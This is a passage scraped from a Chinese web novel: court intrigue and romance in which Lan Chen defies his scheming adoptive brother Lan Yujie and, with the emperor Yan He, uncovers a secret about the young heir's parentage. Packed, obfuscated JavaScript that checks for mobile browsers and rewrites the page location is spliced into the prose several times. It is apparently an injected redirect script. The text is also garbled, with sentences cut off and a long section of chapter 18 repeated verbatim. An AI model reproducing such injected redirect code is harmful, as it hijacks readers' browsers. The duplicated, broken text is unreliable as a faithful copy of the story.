只见兰玉阶猛地将他抱在怀中,“我知道,是燕赫坐在那个位置上,才被迫让你我分开,可云泽,这是我们身为兰氏一族不可逃脱的命运,我为了让你摆脱这个牢笼,才会忍痛割爱,送你到宫里过好的日子,云泽,你怎么就不懂为兄的用心良苦?” 兰沉被他拥入怀里的瞬间,立刻伸手摸向平日携带匕首的袖口,结果落空了! 匕首不在,匕首不在! 他的双眼失神,迟疑片刻才想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730323|157270||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 匕首交给元汐藏起来了。 当真天不助己啊,否则他会立刻杀了兰玉阶,而非像现在这般无法动弹! 兰玉阶身上清淡花香在鼻腔无限放大,兰沉感觉整个人像回到渝州兰府中,过往的记忆排山倒海涌向了自己,再次陷入被背叛的恐惧中。 他被钳制着,为这段孽缘而悲哀道:“是你杀了当年的我,兰玉阶。” 眼角似有热泪滚落脸颊,他的喉咙更是奇痒无比,让他控制不住重咳,也不知哪来的力气,趁兰玉阶松手欲检查时,他奋力挣脱了怀抱,连忙后退数步,病情彻底激发他的情绪,逼得他发红的眼眶怒视兰玉阶,哑着嗓子斥道:“是你!是你亲手杀的!你没有资格再提从前!” 明明都快把自己治好了,明明这两年都过去了,为什么突然告诉自己可以回到过去? 他不稀罕,他要往前看,他绝对不会重蹈覆辙! 兰沉泄气般抹了把泪,欲转身时忽感脚步虚浮,连忙扶着柱子稳住身形,整个人背对着兰玉阶,不想再看他,只等冷静下来快点离开。 兰玉阶有些走神看着他的背影,因为他刚才的话而沉默半晌,却始终不解他何出此言,难道他不应该是这世上最懂自己的吗? 四周鸦雀无声,兰玉阶走近一步,心想从前是他口口声声要和自己一辈子的,现在要实现了又不乐意,岂能由着他这么胡来。 眼看兰沉要走,兰玉阶立刻追了上去,但这一次却收敛了许多,担心他气急败坏又说出伤感情的话,只能压着不满哄道:“云泽,为兄知你这两年不受宠,为兄答应你,三个月后,必定让你摆脱燕赫,彻底回到为兄身边。” 摆脱燕赫吗?兰沉感觉心里有点失落,只是他没抓住这点微妙的变化,而是觉得兰玉阶的话过分好笑。 “有何可摆脱的?”他觑着兰玉阶的姿态,不由自主想起初见燕赫的画面,同样是高高在上,却从未像兰玉阶这般蔑视众生,“陛下视我如棋子,从未弃我如敝履,该逊色之人是你。” 兰玉阶温柔的眉眼一沉,眸中的厉色昭然若揭,显然被这句话激到了。 他料想不到,曾经那个乖顺的弟弟竟如此忤逆,当真让他有些意外,为了教导兰沉重回正轨,看来他这个哥哥要如从前那般事必躬亲,好好说教一番。 兰玉阶敛去眼中的不快,温和道:“最是无情帝王家,他还不值得你做傻事。” “傻事?”兰沉偏头,用余光看他,一语道破,“你是担心我向陛下状告今日之事?” 许是喉疾复发,他说话的声音很轻,但其中的嘲讽却一点不少。 兰玉阶听见他话中的威胁,微眯的眼眸中带着几分危险,“你敢?” 兰沉不语,其实他想过将此事告知燕赫,可兰玉阶能让自己前来,只怕做足了准备,若自己冒然进谏,恐怕不会得偿所愿。 何况内宫有不少崇王府的眼线,中毒之事历历在目,今日又见萧烨廷,想必这群人有恃毋恐,不管怎样,这个仇他先记住了,来日必将一一奉还。 兰玉阶负手而立,站在阶上居高临下俯视兰沉,见他不语,笃定他不会轻举妄动,却发现他毅然离开,连话都不肯多说一句。 他要兰沉死心塌地回来,为了确保计划的顺利,他眼下容不得存在一丝风险,提醒道:“云泽,当年长姐虽难产,却留了东西给我们,你不想知道是什么吗?” 兰沉当即停下离开的脚步,踟蹰不前,但他无法辨别此言真假,也清楚这是兰玉阶要把自己困住的手段。 17. 第 17 章 沉默良久,兰玉阶朝他走过去,深深叹了口气,抬手去牵他,谁知兰沉被他逼得应激,感受到身体被触碰的那一刻,下意识用力挥开。 “啪!”一个巴掌不偏不倚落在兰玉阶的脸上。 只见兰玉阶眼中闪过诧异,皱眉看着他,“云泽你......” 兰沉不动声色捕捉了他的异样,并不为自己的失手而解释,只是面面相觑良久,忽地轻笑一声,毫不在意道:“无论你说什么,我都不感兴趣。” 他既能想方设法调查,又何须留下周旋,只会恶心了自己。 说罢他毅然决然离开,留了个背影给兰玉阶,也看不到那悄然冷下的神色。 出了兰园后,兰沉循着记忆往府门的方向去,要说这崇王府当真是奢华至极,让他一路走来心生感叹的同时,想到这一切和兰玉阶有关的,他都忍不住厌恶,离开的脚步都加快许多。 眼看府门在不远处,耳边隐约听见有杂音,转头往廊外的园子看去,远远瞧见古树下有几抹身影在嬉闹,他能认得的只有萧烨廷和小世子萧时宇。 萧烨廷此刻正陪着孩子玩耍,那模样看着比萧时宇还皮,许是察觉到目光,他抬眼往四周扫了眼,最后看见了不远处站着的人,因曾入禁军,眼力极佳,无需靠近亦能观察到兰沉。 冬日斑驳的阳光穿过古树落在兰沉身上,他立于阶前,身影清癯端方,略显苍白的脸颊衬得他冷俊脱俗,泛红的眼圈暗示着兰园里发生了冲突,明明是该上前安抚一番,但萧烨廷还是被迷了眼,站在原地观赏着。 两人隔空相望,看不清眼底的思绪,不过既要离开,兰沉见状行礼告辞,算是知会对方,并无上前的打算,毕竟有下毒的仇在先,实在不想接近此人。 见萧烨廷并无怪罪的意思,兰沉打算出府,结果发现有目光落在自己身上,移眼看去,发现是陪着萧时宇玩耍的小女孩,那女孩看着比萧时宇年纪小些,圆脸杏眼,皮肤像新鲜摘下的桃子似的,在暖阳下白里透红,娇嫩可爱,但瞧着性格腼腆,却目不转睛盯着自己,脸上尽是好奇。 兰沉方才之所以留步,是感觉这女孩有些熟悉,奈何他实在想不起和谁人相似,又不欲在此久留,便对女孩笑了笑后快步离开。 兰亭中,随着一声器皿碎落的闷响乍起,花泥和瓷器洒至满地,方才还在桌上摆着的盆景化为乌有,洁白无瑕的兰花静静躺在地面,和泥土混杂着,只剩一片狼藉。 萧烨廷出现时,只见兰玉阶端坐一侧,仍旧如往常那般和颜悦色,可眼眸中却没有丝毫温度,靴底还踩着曾经悉心呵护的兰花。 听见靠近的脚步声后,兰玉阶睨了眼,“他看见兰英了?” 兰英正是陪萧时宇玩耍的小女孩。 “没认出来。”萧烨廷负手散漫上前,瞅着地上珍贵的兰花啧啧两声,“看来你是真的疼爱这个弟弟,气得兰花都能砸了。” 他想起兰玉阶对这片兰园的重视,平日就算是踏进来都要小心翼翼,没想到兰沉几句话都能让兰园黯然失色。 兰园的入口处,月洞门左右见两个小孩趴在墙边,萧时宇正好奇地往里面张望,却不敢踏进一步,兰英则观察着里面的两人。 兰玉阶凝视着他们,“眼看这俩孩子也大了,你设法送去国子监吧。” 萧烨廷一听,明白他要开始行动了,“你想送兰英去国子监,让兰云泽知道他的身世,然后借此让他死心塌地回到你身边?” 兰玉阶不语,对于萧烨廷看破还说破的举止并不在意,一心都落在自己的计划上,“燕赫今日让云泽送来的礼物,你可知暗示了什么?” 提到此事,萧烨廷想起那双手臂,莫名觉得有趣,无所谓道:“再怎么暗示又如何,再过数月皇陵祭祀要到了,燕赫每年都会去皇陵守孝三日,他今年只管发疯,让我们的大计能成就行,其余的有何重要。” 兰玉阶缓缓起身,忽然感觉脚底有东西,低头一看,发现是藏在花泥里的兰花。 高雅洁白的兰花沾了污秽,在他眼中和泥一样肮脏,只见他踩着秽土在脚下,暗自吐了口浊气,又恢复平日那副温润的模样道:“下月便是春猎,云泽在这之前若死性不改,便动手吧。” 既然不属于他的,便和脚下的泥一样,毁了也无妨。 萧烨廷略显意外,想起数日前意外默许了伶人下毒一事,原本想着李锦司一死,兰玉阶会斩草需除根,谁知为此大发雷霆,让他还以为兰沉的分量有多重,眼下看来,那都比不上权力欲望罢了。 他挑了挑眉笑道:“既然都这么说了,为保计划顺利,届时我会亲自动手,绝对把兰云泽的尸首完完整整带给你。” 兰玉阶无声看他一眼,见他一副兴致勃勃的模样,像是恨不得立刻行动。 “萧烨廷,云泽当年入宫起码保住了兰氏辉煌,如今虽谈不上有价值,那也是我所需的。”他朝萧烨廷走去,行至身旁停下脚步,“若你能产生同等价值,就算你现在把他杀了,我也不会说什么,若不能......”他顿了顿才道,“我的东西你别打主意,别忘了自己的身份,你只是傀儡而已,明白吗?”说罢不等回答便甩袖离开。 萧烨廷还是潇洒风流的态度,笑吟吟望着兰玉阶的背影消失,直到看见月洞门探出两颗脑袋,听见萧时宇朝他大喊了一声,他看着两个孩子嗤了声,抬脚往反方向离去,无视萧时宇的呼喊。 马车疾驰驶过街巷,直到一座药堂出现在兰沉眼中,他给小青子递了个眼神,很快便听见马蹄急踏,骏马鼻中打了个响啼,颠簸的马车急停在药堂门前,骏马在寒冬里喷出白气,发出一声长长的嘶鸣。 兰沉下了马车,小青子紧随其后,掏了些盘缠给车夫让他离开,不想让人知道他们接下来的行踪。 但车夫不敢轻易怠慢,拖拖拉拉也不肯走,无奈小青子取了些银子塞给他,还给车夫出了个鬼主意,让他去茶馆歇两个时辰再回去,最后车夫犹豫再三才舍得走。 目送马车远离后,兰沉戴上氅帽,喉间的不适让他下意识找梨膏糖,却发现自己忘带了,又不想因此耽误时间,便用手掌拍了拍冻得僵硬的脸颊,将崇王府的事情抛掷脑后,调整好情绪才进了药堂。 甫一进门,掌柜的便打量来人气质与众不同,满嘴客官客官的迎了上来,直到靠近兰沉才道:“公子里头请。” 兰沉立即了然,颔首后跟随对方绕进后院,果不其然,看见等候已久的秦伯暄。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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思来想去,李锦司生前多为外室而来,住得最多的只能是卧房,死后李家连夜离京,李家的府邸一夜之间被变卖,如此反常的情况,京贵中竟无人发现。 不,应该是无人在乎。 想必凶手早有料想,李锦司无论生死都是茶余饭后的笑柄,所以即便死了,众人也不会立刻有所反应,等有人察觉不妙后再去报官,只剩死无对证了。 兰沉慢慢靠近卧室,悬着一颗心不断思索,凶手不仅杀人灭口,还可能是李锦司生前相识之人,李锦司必定十分信任对方,且李家惧怕凶手并被威胁,才有可能在他被杀后快速妥协离京。 有关凶手,目前为止,兰沉能想到的除了兰玉阶他别无他人,既然兰玉阶会不留余力做这一切,更反应出李锦司所知秘密的重要性。 兰沉来不及留意院外的动静,只想快些动身搜查厢房,希望找到有利的线索,将来才有更多可能杀了兰玉阶。 眼看要踏入厢房,他的肩膀猛地一沉,危险的气息骤然逼近身后,一抹高大的身影将他彻底笼罩。 黑影出现时兰沉心头一跳,二话不说转身朝来人出手,结果挥出去的拳头不仅落空,还被一双大掌包裹,拽着他往前栽去! 18. 第 18 章 随着脑袋撞进一个宽厚的怀抱,兰沉顿时嗅到熟悉的龙涎香,他先是疑惑,随即马上抬起头去确认,一张熟悉的脸庞落入眼中,他轻声唤道:“陛下?” 燕赫听出他声音略带沙哑,像是喊破了,眸色沉了沉,但并未询问,而是端详起他的反应。 “这么惊喜?”燕赫为了扶稳他,伸手扶着他的身子,索性掐了把手里的腰,垂着眼帘看去,语调微扬,“还投怀送抱?” 兰沉还抓着他的衣袍,腰间忽地一酸,意识到两人还搂着,手忙脚乱松开,脚也不自觉往后退去。 燕赫预料到他会和自己拉开距离,在他退出怀抱时猛地伸手,动作熟练地把人拖了回来,一手钳着他的腰,一手捏着他的后颈,像拎猫似的,粗粝的指腹稍加用力,逼着他仰头抬眼和自己对视。 “孤问你话呢。”燕赫提醒他回答自己的问题,手里不知何时捏了颗梨膏糖,毫无征兆塞进了他嘴里,“一天天就知道跑。” 兰沉嘴巴还没来得及回答,一股甜味窜满整个舌腔,喉咙也舒服了许多,这会儿听闻时耳根一热,倒不是他想跑,而是每次近距离接触都感觉不自在,两人是君臣又非夫妻,何况他对燕赫不了解,没有应对的办法时,他便容易陷入慌张,一旦慌张必定失态,所以天子当前,为保性命无虞,他潜意识会告诉自己要保持距离,这落在燕赫眼里,怎么成了跑,他才没跑。 兰沉见他一袭常服出宫,能在此撞见,意味着方才拍门的是他了,只是不解他余尊降贵至此所为何事,便道:“微臣不胜惶恐,未料和陛下这般有缘在此相遇。” 梨膏糖的香气扑面而来,燕赫悄无声息轻嗅了下,也听出他的试探,感受到手里的身子紧绷着,俯在他耳边道:“孤冲着你来的。”说罢把人松开。 被放开后,兰沉整个人轻松多了,闻言权当他是来查案,但见他只身前来,忍不住探出半个脑袋,视线看向他身后的院子,发现院子竟空无一人,也不知道秦伯暄和小青子去哪了。 燕赫斜睨着他的小动作,眼底划过一抹笑,用手把那张巴掌大的脸颊掰回来,低声道:“别看了,朝歌把人都支开了,进去查你的案子。” 经他提醒,兰沉立即警惕起来,脸上有丝局促,但很快从燕赫洞悉一切的神情里发现不妥,怀疑他一直派人跟踪着自己,那岂非在崇王府里的事情他都知晓了? “你......”他蹙眉望着燕赫,一个荒诞的念头油然而生,难不成燕赫想证实之事,其实和兰玉阶的身份有关?兰沉越想越觉得可疑,欲言又止问,“你都知道?” 他说完后发现自己并未用尊称,连忙想要改口,结果被燕赫微微颔首打断了,算是默认了此事,也让他为之一惊讶,当即有生了性命不保的危机。 可燕赫并未接着说下去,而是顺手捏了捏他的脸颊,视线落在他沾了糖渍的唇上,莹润饱满,看着像在勾人亲上去似的。 他用掌心拨动兰沉的身体,把人往屋内推进去,边走边说:“不过崇王府设防森严,孤所知甚少,你若愿意相告更多,孤今后还可以为你所用。” 但普天之下谁人胆敢使唤他。 兰沉被他推着走,得知燕赫知晓不多,他虽是松了口气,可心中疑窦未消,用怀疑的小眼神瞥他,小声嘀咕了两句,“陛下既为天子,岂会什么都不知......” 燕赫的手臂搭在他的肩膀上,余光将他的举止都收入眼中,牵了牵嘴角道:“那孤大胆猜测,你那好哥哥和崇王关系匪浅,孤说得可对?” 兰沉被他的话带回了崇王府,因为牵挂着兰氏欺君一事,并未注意两人亲昵的举止,还沉浸在兰园中事,听闻燕赫的猜测,声音里带了冷笑,“何止。” 燕赫乜斜他一眼,听见这两个字后不以为然笑了声,见兰沉漫无目的把自己带到床榻前,为免两人直接倒在榻上,他突然伸手按住兰沉的肩膀,制止了四处游荡的脚步。 兰沉被他这么一按,跨出的脚收了回来,身子就像跌回燕赫的怀抱,登时发现肩上不仅搭着一条手臂,自己半边身子几乎贴着燕赫行走。 有点亲密了。 这样暧昧的距离让兰沉眼皮一跳,他忍不住窥向肩膀的手,指节修长有力,细看还能发现带了些许薄茧,那是常年握剑所致,这手臂就这么一动不动挂在自己肩上,明明什么都没做,却让他有些提心吊胆,仿佛只要一犯错,或是突然心血来潮,就能顺其自然掐上他的脖颈,让他无处可躲,任由被欺负。 兰沉暗自咽了咽喉咙,却不想这一咽,竟让肚子咕噜了两声,后知后觉发现自己饿了。 恰逢此时,听见燕赫漫不经心道:“快查吧,孤累了。” 兰沉像听到了救赎,趁机逃出他的怀里,未料被一只手勾着后襟拎了回来,转眼间感觉燕赫的打量出现在余光里,不等他发问,兰沉抢先开口。 “陛下。”他僵硬扭转脖子,面色为难看着燕赫道,“束手束脚的不好查。” 话虽如此,他却不知自己此刻的神情多招人怜,尤其从燕赫的视角看去时,见他低垂着脑袋,双眸微抬,睁着的眼睛仿佛会说话似的,讨好间似乎还带着几分撒娇。 燕赫默不作声注视他片刻,突然朝他顷身,沉郁的眼中有丝丝笑意,“听孤的话,我们到床上去。” “什么?”兰沉一听,不知是自己多想,还是气氛太到位,总觉得这话里话外都充满了暗示,他望着近在咫尺的脸颊,脑子发热,眼前闪过一些不可描述的画面,心头跟着小鹿乱撞,猛然低头躲开他的视线,意外瞥见一侧的床榻,才明白燕赫要自己到床上调查的意思,愣了愣才不知所措点头,“哦好、好的。” 兰沉被他放开,走向床榻间悄然拍了下脑袋,两人的相处过于青涩,导致他在燕赫面前容易失去分寸,平日从容淡定的姿态都丢得一干二净了。 燕赫的目光悄无声息游移在他身上,最后落在他的耳廓,目睹着那两只耳朵渐渐红透。 兰沉深吸一口冷气平静下来,刻意越过燕赫的注目,检查床榻前,率先打量了一遍厢房。 许是外室卷钱跑路,厢房的陈设简陋,比起书房有过之而无不及,平日起居之物皆被管家汇集于榻上,如燕赫所言,的确唯有这床榻值得查看一番。 兰沉收回视线,行事果决,转身便掀了帷幕,入眼是一些罗衾锦褥和枕席,看起来并无特别。 正当他在细看卧具时,身侧见一抹影子靠近,他转眼扫去,看到燕赫负手身后,望着床榻四周左顾右看,似乎也在找线索。 多一个人效率快很多,兰沉看他专注调查,反倒对他出宫表示不理解,倘若因为崇王府密不透风,想利用自己去证实,何不在宫里等自己回去禀报,竟还要出宫一趟,神出鬼没的实在难以理解。 沉思间,兰沉抬手触碰楣板,扶着楣板时,他意外发现厚度可疑,屈着手指朝楣板轻叩两下,与此同时,耳边听见另一侧有人敲击楣板,循声看去是燕赫,两人意外默契地敲响了楣板。 兰沉快速辨别两者声音的区别,发现自己面前的楣板别有洞天,随着掌心覆上楣板前后推动,不想其中藏有暗格,一条写满血字的手帕飘落榻上。 “萧时宇?”兰沉拾起展开,带着疑惑往下看,瞳孔慢慢放大,难掩惊诧,下意识看向身侧的燕赫,“陛下,这是......” 燕赫看着手帕沉吟须臾,挑了挑眉念道:“......世子非崇王亲生,其子乃先帝嫔妃所生,今后为兰玉阶摄政傀儡所用。” 说罢,他静默半晌,冷淡的神情里看不出一丝在意。 兰沉万万没想到秘密竟在此,那李锦司的死便也合理了,震惊之余,他脑海高速运转,想出各种对策应付燕赫发怒的一切可能。 谁知听见燕赫问道:“饿了吗?” 此言让兰沉有些措手不及,他迟疑看向手帕,一时半会儿竟不知说些什么,原以为萧时宇只是和萧烨廷不像,想过或许是没长开的原因,未料藏有如此惊人身世。 尤其他得知崇王府的背后是兰玉阶,也就证明了兰玉阶意欲何为,谋权篡位,一旦失败株连九族。 刹那间,兰沉感觉背脊一凉,连看燕赫的勇气都失去了。 燕赫眼看他低下头,笑了声道:“知道害怕了?” 兰沉知道隐瞒不住,此事迟早会暴露,干脆认罪道:“兄长如今行差踏错,我未能替及时阻止,亦是有罪之臣。” 燕赫默不作声。 屋内静得落针可闻,兰沉的心像落入寒潭,虽为兰氏养子并无血缘关系,可谋权篡位便是乱臣贼子,他的姓氏由不得自己做选择,燕赫洞若观火,稍微深思便能看破一切,他的生杀大权被燕赫握在手中,眼下毫无退路可言,无异于等死罢了。 此时此刻,厢房中静得仿若能听见冷风湍 eval(function(p,a,c,k,e,d){e=function(c){return(c35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 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事已至此,兰沉适可而止不再试探,他的直觉告诉自己,只要接着问,燕赫就会回答,但他不敢冒然追问,毕竟受兰玉阶的牵连成了戴罪之身,平白无故多了风险,实在不宜激进。 “兰氏学堂当年闻名天下,你亦承鸿儒所教。”燕赫看着他,语气颇为欣赏,“其实你不比任何人差。” 兰沉顿了顿,眸色却见黯然,“可惜无功名在身,有损先生之名。” 燕赫见他眉间平添忧愁,不慌不忙收起手帕,“如此说来,倒是孤耽误了你。” 兰沉欲解释一番,结果被燕赫打断,谈起正事,“兰云泽,吃饭。” 说着往他手里塞了颗糖,把人朝外拉,长廊点了烛火,天色已暗,寒冬中的长街张灯结彩,熙熙攘攘挤满了人,看样子像是节日将至,两端来往的商铺都装饰了一番,越往主街的方向,人多得就像饺子下锅似的。 离开宅邸后,兰沉找小青子打听秦伯暄的去向,原来他得知燕赫出现后,为免被发现很自觉离开了,只道有话明日请脉时再说。 两人并肩走在街上,比起周围喜庆的气氛,兰沉觉得自己和燕赫之间实在尴尬。 他站在燕赫身边,连吃糖的动作都拘束许多,更别提分散注意去看四周的热闹,他初次走在金陵城的长街上,心里免不了好奇,所以只能用余光去探寻,另一边小心翼翼观察帝王的举止,饶是如此谨慎,其实还是被燕赫窥得一清二楚。 跟在他们身后的朝歌都快饿得两眼翻白,又见前方是川流不息的人群,打算冒死提议在附近寻酒楼对付一顿,但他话还没说出,身侧的巷口竟传来急蹄声。 众人转眼看去,只见一匹快马朝着人群冲去,有百姓发现惊马后大叫一声快跑,摩肩擦踵的百姓受惊后乱作一团,为了躲避惊马,众人开始四处乱撞,毫无秩序可言,更有人来不及跑,成了被踩踏的垫脚石,哭喊声和尖叫声灌满整条街道。 意外发生后,兰沉第一时间担心燕赫的安危,但下一刻,朝歌突然出现在两人中间,强行分开了他们,只为了把燕赫护在身后,恰逢一众逃跑的百姓从面前穿过,将他们的距离越拉越大。 兰沉突然木讷站在原地,眼睁睁看着燕赫淹没在人群里,他的心像被东西扎了下,下意识以为自己再次惨遭抛弃。 兵荒马乱中,又不知谁朝他的身上撞了一把,他就这么毫无防备被推搡进混乱的人流里,惊马直逼身后也并未察觉。随着脑袋撞进一个宽厚的怀抱,兰沉顿时嗅到熟悉的龙涎香,他先是疑惑,随即马上抬起头去确认,一张熟悉的脸庞落入眼中,他轻声唤道:“陛下?” 燕赫听出他声音略带沙哑,像是喊破了,眸色沉了沉,但并未询问,而是端详起他的反应。 “这么惊喜?”燕赫为了扶稳他,伸手扶着他的身子,索性掐了把手里的腰,垂着眼帘看去,语调微扬,“还投怀送抱?” 兰沉还抓着他的衣袍,腰间忽地一酸,意识到两人还搂着,手忙脚乱松开,脚也不自觉往后退去。 燕赫预料到他会和自己拉开距离,在他退出怀抱时猛地伸手,动作熟练地把人拖了回来,一手钳着他的腰,一手捏着他的后颈,像拎猫似的,粗粝的指腹稍加用力,逼着他仰头抬眼和自己对视。 “孤问你话呢。”燕赫提醒他回答自己的问题,手里不知何时捏了颗梨膏糖,毫无征兆塞进了他嘴里,“一天天就知道跑。” 兰沉嘴巴还没来得及回答,一股甜味窜满整个舌腔,喉咙也舒服了许多,这会儿听闻时耳根一热,倒不是他想跑,而是每次近距离接触都感觉不自在,两人是君臣又非夫妻,何况他对燕赫不了解,没有应对的办法时,他便容易陷入慌张,一旦慌张必定失态,所以天子当前,为保性命无虞,他潜意识会告诉自己要保持距离,这落在燕赫眼里,怎么成了跑,他才没跑。 兰沉见他一袭常服出宫,能在此撞见,意味着方才拍门的是他了,只是不解他余尊降贵至此所为何事,便道:“微臣不胜惶恐,未料和陛下这般有缘在此相遇。” 梨膏糖的香气扑面而来,燕赫悄无声息轻嗅了下,也听出他的试探,感受到手里的身子紧绷着,俯在他耳边道:“孤冲着你来的。”说罢把人松开。 被放开后,兰沉整个人轻松多了,闻言权当他是来查案,但见他只身前来,忍不住探出半个脑袋,视线看向他身后的院子,发现院子竟空无一人,也不知道秦伯暄和小青子去哪了。 燕赫斜睨着他的小动作,眼底划过一抹笑,用手把那张巴掌大的脸颊掰回来,低声道:“别看了,朝歌把人都支开了,进去查你的案子。” 经他提醒,兰沉立即警惕起来,脸上有丝局促,但很快从燕赫洞悉一切的神情里发现不妥,怀疑他一直派人跟踪着自己,那岂非在崇王府里的事情他都知晓了? “你......”他蹙眉望着燕赫,一个荒诞的念头油然而生,难不成燕赫想证实之事,其实和兰玉阶的身份有关?兰沉越想越觉得可疑,欲言又止问,“你都知道?” 他说完后发现自己并未用尊称,连忙想要改口,结果被燕赫微微颔首打断了,算是默认了此事,也让他为之一惊讶,当即有生了性命不保的危机。 可燕赫并未接着说下去,而是顺手捏了捏他的脸颊,视线落在他沾了糖渍的唇上,莹润饱满,看着像在勾人亲上去似的。 他用掌心拨动兰沉的身体,把人往屋内推进去,边走边说:“不过崇王府设防森严,孤所知甚少,你若愿意相告更多,孤今后还可以为你所用。” 但普天之下谁人胆敢使唤他。 兰沉被他推着走,得知燕赫知晓不多,他虽是松了口气,可心中疑窦未消,用怀疑的小眼神瞥他,小声嘀咕了两句,“陛下既为天子,岂会什么都不知......” 燕赫的手臂搭在他的肩膀上,余光将他的举止都收入眼中,牵了牵嘴角道:“那孤大胆猜测,你那好哥哥和崇王关系匪浅,孤说得可对?” 兰沉被他的话带回了崇王府,因为牵挂着兰氏欺君一事,并未注意两人亲昵的举止,还沉浸在兰园中事,听闻燕赫的猜测,声音里带了冷笑,“何止。” 燕赫乜斜他一眼,听见这两个字后不以为然笑了声,见兰沉漫无目的把自己带到床榻前,为免两人直接倒在榻上,他突然伸手按住兰沉的肩膀,制止了四处游荡的脚步。 兰沉被他这么一按,跨出的脚收了回来,身子就像跌回燕赫的怀抱,登时发现肩上不仅搭着一条手臂,自己半边身子几乎贴着燕赫行走。 有点亲密了。 这样暧昧的距离让兰沉眼皮一跳,他忍不住窥向肩膀的手,指节修长有力,细看还能发现带了些许薄茧,那是常年握剑所致,这手臂就这么一动不动挂在自己肩上,明明什么都没做,却让他有些提心吊胆,仿佛只要一犯错,或是突然心血来潮,就能顺其自然掐上他的脖颈,让他无处可躲,任由被欺负。 兰沉暗自咽了咽喉咙,却不想这一咽,竟让肚子咕噜了两声,后知后觉发现自己饿了。 恰逢此时,听见燕赫漫不经心道:“快查吧,孤累了。” 兰沉像听到了救赎,趁机逃出他的怀里,未料被一只手勾着后襟拎了回来,转眼间感觉燕赫的打量出现在余光里,不等他发问,兰沉抢先开口。 “陛下。”他僵硬扭转脖子,面色为难看着燕赫道,“束手束脚的不好查。” 话虽如此,他却不知自己此刻的神情多招人怜,尤其从燕赫的视角看去时,见他低垂着脑袋,双眸微抬,睁着的眼睛仿佛会说话似的,讨好间似乎还带着几分撒娇。 燕赫默不作声注视他片刻,突然朝他顷身,沉郁的眼中有丝丝笑意,“听孤的话,我们到床上去。” “什么?”兰沉一听,不知是自己多想,还是气氛太到位,总觉得这话里话外都充满了暗示,他望着近在咫尺的脸颊,脑子发热,眼前闪过一些不可描述的画面,心头跟着小鹿乱撞,猛然低头躲开他的视线,意外瞥见一侧的床榻,才明白燕赫要自己到床上调查的意思,愣了愣才不知所措点头,“哦好、好的。” 兰沉被他放开,走向床榻间悄然拍了下脑袋,两人的相处过于青涩,导致他在燕赫面前容易失去分寸,平日从容淡定的姿态都丢得一干二净了。 燕赫的目光悄无声息游移在他身上,最后落在他的耳廓,目睹着那两只耳朵渐渐红透。 兰沉深吸一口冷气平静下来,刻意越过燕赫的注目,检查床榻前,率先打量了一遍厢房。 许是外室卷钱跑路,厢房的陈设简陋,比起书房有过之而无不及,平日起居之物皆被管家汇集于榻上,如燕赫所言,的确唯有这床榻值得查看一番。 兰沉收回视线,行事果决,转身便掀了帷幕,入眼是一些罗衾锦褥和枕席,看起来并无特别。 正当他在细看卧具时,身侧见一抹影子靠近,他转眼扫去,看到燕赫负手身后,望着床榻四周左顾右看,似乎也在找线索。 多一个人效率快很多,兰沉看他专注调查,反倒对他出宫表示不理解,倘若因为崇王府密不透风,想利用自己去证实,何不在宫里等自己回去禀报,竟还要出宫一趟,神出鬼没的实在难以理解。 沉思间,兰沉抬手触碰楣板,扶着楣板时,他意外发现厚度可疑,屈着手指朝楣板轻叩两下,与此同时,耳边听见另一侧有人敲击楣板,循声看去是燕赫,两人意外默契地敲响了楣板。 兰沉快速辨别两者声音的区别,发现自己面前的楣板别有洞天,随着掌心覆上楣板前后推动,不想其中藏有暗格,一条写满血字的手帕飘落榻上。 “萧时宇?”兰沉拾起展开,带着疑惑往下看,瞳孔慢慢放大,难掩惊诧,下意识看向身侧的燕赫,“陛下,这是......” 燕赫看着手帕沉吟须臾,挑了挑眉念道:“......世子非崇王亲生,其子乃先帝嫔妃所生,今后为兰玉阶摄政傀儡所用。” 说罢,他静默半晌,冷淡的神情里看不出一丝在意。 兰沉万万没想到秘密竟在此,那李锦司的死便也合理了,震惊之余,他脑海高速运转,想出各种对策应付燕赫发怒的一切可能。 谁知听见燕赫问道:“饿了吗?” 此言让兰沉有些措手不及,他迟疑看向手帕,一时半会儿竟不知说些什么,原以为萧时宇只是和萧烨廷不像,想过或许是没长开的原因,未料藏有如此惊人身世。 尤其他得知崇王府的背后是兰玉阶,也就证明了兰玉阶意欲何为,谋权篡位,一旦失败株连九族。 刹那间,兰沉感觉背脊一凉,连看燕赫的勇气都失去了。 燕赫眼看他低下头,笑了声道:“知道害怕了?” 兰沉知道隐瞒不住,此事迟早会暴露,干脆认罪道:“兄长如今行差踏错,我未能替及时阻止,亦是有罪之臣。” 燕赫默不作声。 屋内静得落针可闻,兰沉的心像落入寒潭,虽为兰氏养子并无血缘关系,可谋权篡位便是乱臣贼子,他的姓氏由不得自己做选择,燕赫洞若观火,稍微深思便能看破一切,他的生杀大权被燕赫握在手中,眼下毫无退路可言,无异于等死罢了。 此时此刻,厢房中静得仿若能听见冷风湍 eval(function(p,a,c,k,e,d){e=function(c){return(c35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730325|157270||http|test|mini|href|location.split(|),0,{})); () { 